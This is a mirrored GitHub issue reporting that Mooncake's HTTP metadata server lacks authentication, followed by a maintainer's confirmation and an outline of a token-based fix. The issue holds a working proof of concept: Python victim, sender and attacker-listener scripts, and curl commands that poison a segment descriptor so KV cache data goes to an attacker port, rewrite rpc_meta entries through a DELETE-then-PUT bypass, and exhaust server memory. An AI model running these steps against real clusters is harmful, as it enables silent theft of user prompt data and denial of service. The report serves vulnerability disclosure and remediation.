kvcache-ai/Mooncake

Fork 0

mirror of https://github.com/kvcache-ai/Mooncake.git synced 2026-11-05 01:17:55 +00:00

[GH-ISSUE #4444] [Bug]: Unauthenticated Mooncake HTTP metadata server allows segment descriptor poisoning and KV transfer redirection #1122

New issue

Closed

opened 2026-10-29 21:23:05 +00:00 by bsakaguchi · 3 comments

bsakaguchi commented

2026-10-29 21:23:05 +00:00

Owner

Originally created by @yyymk on GitHub (Oct 1, 2026).
Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4444

Bug Report

Summary

The HTTP metadata server shipped in the mooncake wheel serves GET/PUT/DELETE on /metadata without any authentication. A network peer can read every engine's segment descriptor (absolute buffer addresses and data ports), overwrite a victim engine's descriptor to redirect live KV transfers to an attacker-controlled listener while the sender reports success, rewrite rpc_meta entries by bypassing the duplicate-key check with DELETE, delete cluster metadata to break new transfers, and grow the server's memory without bound. Runtime-confirmed with the mooncake.http_metadata_server component of mooncake-transfer-engine 0.3.11.post1; the same unauthenticated handler still ships in the 0.3.13 wheel and on the main branch as mooncake-transfer-engine/example/http-metadata-server-python/bootstrap_server.py. No fix available. Suggested severity: High, CVSS 8.8.

Details

mooncake/http_metadata_server.py (started via python -m mooncake.http_metadata_server, default bind 0.0.0.0:8080) is the documented HTTP backend for TransferEngine metadata, used as the etcd alternative via a conn string like http://host:28080/metadata (HTTPStoragePlugin in src/transfer_metadata_plugin.cpp).

The handlers are plain key/value operations with no authentication and no authorization:

GET /metadata?key=mooncake/ram/<name> returns the engine's segment descriptor, including buffers[].addr (absolute process addresses), tcp_data_port, and RDMA rkeys.
PUT overwrites any segment descriptor. The only integrity check in the file is a duplicate-key rejection for rpc_meta keys - and DELETE removes the key first, so DELETE + PUT rewrites mooncake/rpc_meta/<name> (the handshake RPC location) without restriction.
DELETE removes any key. Request bodies are read fully into memory and the store dict has no size or key-count limit (aiohttp's default client_max_size of 1 MB rejects one huge body, many smaller keys bypass it).

The data plane trusts these values. TcpTransport::startTransfer connects to the IP from rpc_meta plus tcp_data_port from the segment descriptor, with no validation that the descriptor is authentic. After tcp_data_port is poisoned, a normal transfer_sync_write sends the payload to the attacker's listener. The sender still reports success: the client session completes once the payload is written to the socket and the server side acknowledges nothing.

PoC

Environment: Linux x86_64, Python 3.11, pip install mooncake-transfer-engine==0.3.11.post1 on two shells of one host (use the host IP 192.168.105.123 below). Terminal 1 starts the server:

MC_FORCE_TCP=1 python -m mooncake.http_metadata_server --port 28080

Terminal 2 runs the receiving victim:

# victim_a.py
import ctypes, time
from mooncake.engine import TransferEngine

buf = ctypes.create_string_buffer(65536)
te = TransferEngine()
te.initialize("va", "http://192.168.105.123:28080/metadata", "tcp", "")
te.register_memory(ctypes.addressof(buf), 65536)
print("va_addr =", ctypes.addressof(buf), flush=True)
time.sleep(7200)

Terminal 3 is the attacker listener:

# listener.py
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("192.168.105.123", 39999))
s.listen(1)
c, _ = s.accept()
data = b""
while True:
    chunk = c.recv(65536)
    if not chunk:
        break
    data += chunk
print(len(data), data[:96])   # 88 bytes: 24-byte header (includes target absolute address) + payload

Sender, run as a fresh process each round (the segment descriptor is cached per process):

# sender.py
import ctypes
from mooncake.engine import TransferEngine

payload = ctypes.create_string_buffer(b"SECRET_KV_" + b"S" * 54, 64)
te = TransferEngine()
te.initialize("vb", "http://192.168.105.123:28080/metadata", "tcp", "")
ret = te.transfer_sync_write("va", ctypes.addressof(payload), VA_ADDR, 64)  # VA_ADDR printed by victim_a
print("transfer returned", ret)

Control round: run sender.py once; it prints transfer returned 0 and victim A's buffer now starts with SECRET_KV_.

Attack round:

# 1. read the victim's descriptor, no credentials
curl "http://192.168.105.123:28080/metadata?key=mooncake/ram/va"
# 2. save that JSON, change only "tcp_data_port" to 39999, put it back
curl -X PUT --data-binary @va_poisoned.json "http://192.168.105.123:28080/metadata?key=mooncake/ram/va"
# 3. run sender.py again as a fresh process

Observed: the sender prints transfer returned 0, the listener prints 88 bytes consisting of the 24-byte protocol header (including the target absolute address) followed by the 64-byte SECRET_KV_... payload, and victim A's buffer is unchanged - the payload was exfiltrated with neither endpoint reporting an error.

rpc_meta duplicate-check bypass:

curl -X PUT --data '{"ip_or_host_name":"8.8.8.8","rpc_port":9}' "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva"   # 400 Duplicate rpc_meta key not allowed
curl -X DELETE "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva"                                                 # 200
curl -X PUT --data '{"ip_or_host_name":"8.8.8.8","rpc_port":9}' "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva" # 200
curl "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva"                                                           # {"ip_or_host_name":"8.8.8.8","rpc_port":9}

Resource exhaustion: PUT a 900 KB body to 2800 distinct keys; the server process RSS grew from 39 MB to about 2.5 GB.

Impact

This is a missing-authorization issue (CWE-306) on the cluster metadata control plane. The attacker needs no credentials, only reachability of the metadata server port, which is a fixed, operator-chosen port bound on all interfaces by default.

Confidentiality: KV cache data (user prompts and context) is exfiltrated to an attacker-controlled listener while both endpoints believe the transfer succeeded; segment descriptors also leak absolute process addresses and rkeys. Integrity: cluster metadata and transfer destinations are attacker-controlled; combined with the rpc_meta rewrite, handshakes can be redirected to an attacker host. Availability: deleting mooncake/ram/* keys makes every new transfer fail with a metadata error, and the unbounded store allows OOM of the metadata server. Affected: deployments using the HTTP metadata backend (the documented etcd alternative); the component ships in the wheel through 0.3.13.post1 and as an unauthenticated example on the current main branch. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (8.8). No patched version yet.

Before submitting...

Ensure you searched for relevant issues and read the [documentation]

Originally created by @yyymk on GitHub (Oct 1, 2026). Original GitHub issue: https://github.com/kvcache-ai/Mooncake/issues/4444 ### Bug Report ### Summary The HTTP metadata server shipped in the mooncake wheel serves GET/PUT/DELETE on `/metadata` without any authentication. A network peer can read every engine's segment descriptor (absolute buffer addresses and data ports), overwrite a victim engine's descriptor to redirect live KV transfers to an attacker-controlled listener while the sender reports success, rewrite `rpc_meta` entries by bypassing the duplicate-key check with DELETE, delete cluster metadata to break new transfers, and grow the server's memory without bound. Runtime-confirmed with the `mooncake.http_metadata_server` component of mooncake-transfer-engine 0.3.11.post1; the same unauthenticated handler still ships in the 0.3.13 wheel and on the main branch as `mooncake-transfer-engine/example/http-metadata-server-python/bootstrap_server.py`. No fix available. Suggested severity: High, CVSS 8.8. ### Details `mooncake/http_metadata_server.py` (started via `python -m mooncake.http_metadata_server`, default bind 0.0.0.0:8080) is the documented HTTP backend for `TransferEngine` metadata, used as the etcd alternative via a conn string like `http://host:28080/metadata` (`HTTPStoragePlugin` in src/transfer_metadata_plugin.cpp). The handlers are plain key/value operations with no authentication and no authorization: - `GET /metadata?key=mooncake/ram/<name>` returns the engine's segment descriptor, including `buffers[].addr` (absolute process addresses), `tcp_data_port`, and RDMA rkeys. - `PUT` overwrites any segment descriptor. The only integrity check in the file is a duplicate-key rejection for `rpc_meta` keys - and `DELETE` removes the key first, so `DELETE` + `PUT` rewrites `mooncake/rpc_meta/<name>` (the handshake RPC location) without restriction. - `DELETE` removes any key. Request bodies are read fully into memory and the store dict has no size or key-count limit (aiohttp's default `client_max_size` of 1 MB rejects one huge body, many smaller keys bypass it). The data plane trusts these values. `TcpTransport::startTransfer` connects to the IP from `rpc_meta` plus `tcp_data_port` from the segment descriptor, with no validation that the descriptor is authentic. After `tcp_data_port` is poisoned, a normal `transfer_sync_write` sends the payload to the attacker's listener. The sender still reports success: the client session completes once the payload is written to the socket and the server side acknowledges nothing. ### PoC Environment: Linux x86_64, Python 3.11, `pip install mooncake-transfer-engine==0.3.11.post1` on two shells of one host (use the host IP 192.168.105.123 below). Terminal 1 starts the server: ```bash MC_FORCE_TCP=1 python -m mooncake.http_metadata_server --port 28080 ``` Terminal 2 runs the receiving victim: ```python # victim_a.py import ctypes, time from mooncake.engine import TransferEngine buf = ctypes.create_string_buffer(65536) te = TransferEngine() te.initialize("va", "http://192.168.105.123:28080/metadata", "tcp", "") te.register_memory(ctypes.addressof(buf), 65536) print("va_addr =", ctypes.addressof(buf), flush=True) time.sleep(7200) ``` Terminal 3 is the attacker listener: ```python # listener.py import socket s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("192.168.105.123", 39999)) s.listen(1) c, _ = s.accept() data = b"" while True: chunk = c.recv(65536) if not chunk: break data += chunk print(len(data), data[:96]) # 88 bytes: 24-byte header (includes target absolute address) + payload ``` Sender, run as a fresh process each round (the segment descriptor is cached per process): ```python # sender.py import ctypes from mooncake.engine import TransferEngine payload = ctypes.create_string_buffer(b"SECRET_KV_" + b"S" * 54, 64) te = TransferEngine() te.initialize("vb", "http://192.168.105.123:28080/metadata", "tcp", "") ret = te.transfer_sync_write("va", ctypes.addressof(payload), VA_ADDR, 64) # VA_ADDR printed by victim_a print("transfer returned", ret) ``` Control round: run `sender.py` once; it prints `transfer returned 0` and victim A's buffer now starts with `SECRET_KV_`. Attack round: ```bash # 1. read the victim's descriptor, no credentials curl "http://192.168.105.123:28080/metadata?key=mooncake/ram/va" # 2. save that JSON, change only "tcp_data_port" to 39999, put it back curl -X PUT --data-binary @va_poisoned.json "http://192.168.105.123:28080/metadata?key=mooncake/ram/va" # 3. run sender.py again as a fresh process ``` Observed: the sender prints `transfer returned 0`, the listener prints 88 bytes consisting of the 24-byte protocol header (including the target absolute address) followed by the 64-byte `SECRET_KV_...` payload, and victim A's buffer is unchanged - the payload was exfiltrated with neither endpoint reporting an error. rpc_meta duplicate-check bypass: ```bash curl -X PUT --data '{"ip_or_host_name":"8.8.8.8","rpc_port":9}' "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva" # 400 Duplicate rpc_meta key not allowed curl -X DELETE "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva" # 200 curl -X PUT --data '{"ip_or_host_name":"8.8.8.8","rpc_port":9}' "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva" # 200 curl "http://192.168.105.123:28080/metadata?key=mooncake%2Frpc_meta%2Fva" # {"ip_or_host_name":"8.8.8.8","rpc_port":9} ``` Resource exhaustion: `PUT` a 900 KB body to 2800 distinct keys; the server process RSS grew from 39 MB to about 2.5 GB. ### Impact This is a missing-authorization issue (CWE-306) on the cluster metadata control plane. The attacker needs no credentials, only reachability of the metadata server port, which is a fixed, operator-chosen port bound on all interfaces by default. Confidentiality: KV cache data (user prompts and context) is exfiltrated to an attacker-controlled listener while both endpoints believe the transfer succeeded; segment descriptors also leak absolute process addresses and rkeys. Integrity: cluster metadata and transfer destinations are attacker-controlled; combined with the rpc_meta rewrite, handshakes can be redirected to an attacker host. Availability: deleting `mooncake/ram/*` keys makes every new transfer fail with a metadata error, and the unbounded store allows OOM of the metadata server. Affected: deployments using the HTTP metadata backend (the documented etcd alternative); the component ships in the wheel through 0.3.13.post1 and as an unauthenticated example on the current main branch. Suggested CVSS:3.1 vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (8.8). No patched version yet. ### Before submitting... - [x] Ensure you searched for relevant issues and read the [documentation]

bsakaguchi

2026-10-29 21:23:05 +00:00

closed this issue
added the
bug
label

bsakaguchi commented

2026-10-29 21:23:06 +00:00

Author

Owner

@github-actions[bot] commented on GitHub (Oct 1, 2026):

Thanks for opening this issue, @yyymk!

Field	Value
Issue	#4444
GitHub user ID	`133664083`
Reporter	@yyymk

A maintainer will triage this when possible. To help us respond faster, please include:

Mooncake version or commit SHA
Environment (OS, CUDA/driver, RDMA stack if relevant)
Steps to reproduce and expected vs. actual behavior

Useful links: Documentation · Contributing guide

This message was posted automatically by the issue bot.

@github-actions[bot] commented on GitHub (Oct 1, 2026): Thanks for opening this issue, @yyymk! | Field | Value | |-------|-------| | **Issue** | #4444 | | **GitHub user ID** | `133664083` | | **Reporter** | @yyymk | A maintainer will triage this when possible. To help us respond faster, please include: - Mooncake version or commit SHA - Environment (OS, CUDA/driver, RDMA stack if relevant) - Steps to reproduce and expected vs. actual behavior Useful links: [Documentation](https://kvcache-ai.github.io/Mooncake/) · [Contributing guide](https://github.com/kvcache-ai/Mooncake/blob/main/CONTRIBUTING.md) > This message was posted automatically by the issue bot.

bsakaguchi commented

2026-10-29 21:23:06 +00:00

Author

Owner

@he-yufeng commented on GitHub (Oct 4, 2026):

Confirmed on current main, same as the other two reports in this batch: python/mooncake/http_metadata_server.py still serves GET/PUT/DELETE with no authentication and an unbounded store, and the descriptor-poisoning path through tcp_data_port works exactly as the PoC describes, since the data plane trusts whatever the metadata backend returns.

I am preparing a fix with this shape:

Optional shared-token authentication on the wheel server. With MC_METADATA_HTTP_TOKEN set (same MC_ env family as MC_REDIS_PASSWORD), every /metadata request must carry Authorization: Bearer <token> or it gets a 401. Unset keeps today's behavior so existing trusted-network deployments do not break, but the server logs a loud startup warning when it binds a non-loopback address without a token.
HTTPStoragePlugin reads the same env and attaches the header on GET/PUT/DELETE, so engine traffic authenticates transparently with no config change beyond the env var.
A bounded store: MC_METADATA_MAX_KEYS / MC_METADATA_MAX_TOTAL_BYTES caps, with over-budget writes rejected (507) instead of growing RSS without limit. That closes the OOM half of the report.
The example bootstrap_server.py gets a startup warning pointing operators at the wheel server for anything beyond local testing, and the deployment docs get a paragraph recommending the token for any reachable bind.

What this deliberately does not do: cryptographic validation of segment descriptors on the data plane. Signed descriptors are a protocol-level change and belong in a separate design discussion; this PR closes the unauthenticated write path that makes poisoning trivial.

Will link the PR here.

@he-yufeng commented on GitHub (Oct 4, 2026): Confirmed on current main, same as the other two reports in this batch: `python/mooncake/http_metadata_server.py` still serves GET/PUT/DELETE with no authentication and an unbounded store, and the descriptor-poisoning path through `tcp_data_port` works exactly as the PoC describes, since the data plane trusts whatever the metadata backend returns. I am preparing a fix with this shape: 1. Optional shared-token authentication on the wheel server. With `MC_METADATA_HTTP_TOKEN` set (same `MC_` env family as `MC_REDIS_PASSWORD`), every `/metadata` request must carry `Authorization: Bearer <token>` or it gets a 401. Unset keeps today's behavior so existing trusted-network deployments do not break, but the server logs a loud startup warning when it binds a non-loopback address without a token. 2. `HTTPStoragePlugin` reads the same env and attaches the header on GET/PUT/DELETE, so engine traffic authenticates transparently with no config change beyond the env var. 3. A bounded store: `MC_METADATA_MAX_KEYS` / `MC_METADATA_MAX_TOTAL_BYTES` caps, with over-budget writes rejected (507) instead of growing RSS without limit. That closes the OOM half of the report. 4. The example `bootstrap_server.py` gets a startup warning pointing operators at the wheel server for anything beyond local testing, and the deployment docs get a paragraph recommending the token for any reachable bind. What this deliberately does not do: cryptographic validation of segment descriptors on the data plane. Signed descriptors are a protocol-level change and belong in a separate design discussion; this PR closes the unauthenticated write path that makes poisoning trivial. Will link the PR here.

bsakaguchi commented

2026-10-29 21:23:07 +00:00

Author

Owner

@he-yufeng commented on GitHub (Oct 4, 2026):

PR up: #4472. Auth token, bounded store, client-side header, docs, and the example warning, all as described above.

@he-yufeng commented on GitHub (Oct 4, 2026): PR up: #4472. Auth token, bounded store, client-side header, docs, and the example warning, all as described above.

bsakaguchi referenced this issue

2026-10-29 21:32:11 +00:00

[PR #1122] [MERGED] feat[Store]: Add multi dummy clients support for real client #2024

bsakaguchi referenced this issue

2026-10-29 21:33:38 +00:00

[PR #1370] [CLOSED] [TE] feat: zmq communicator based on coro_rpc #2204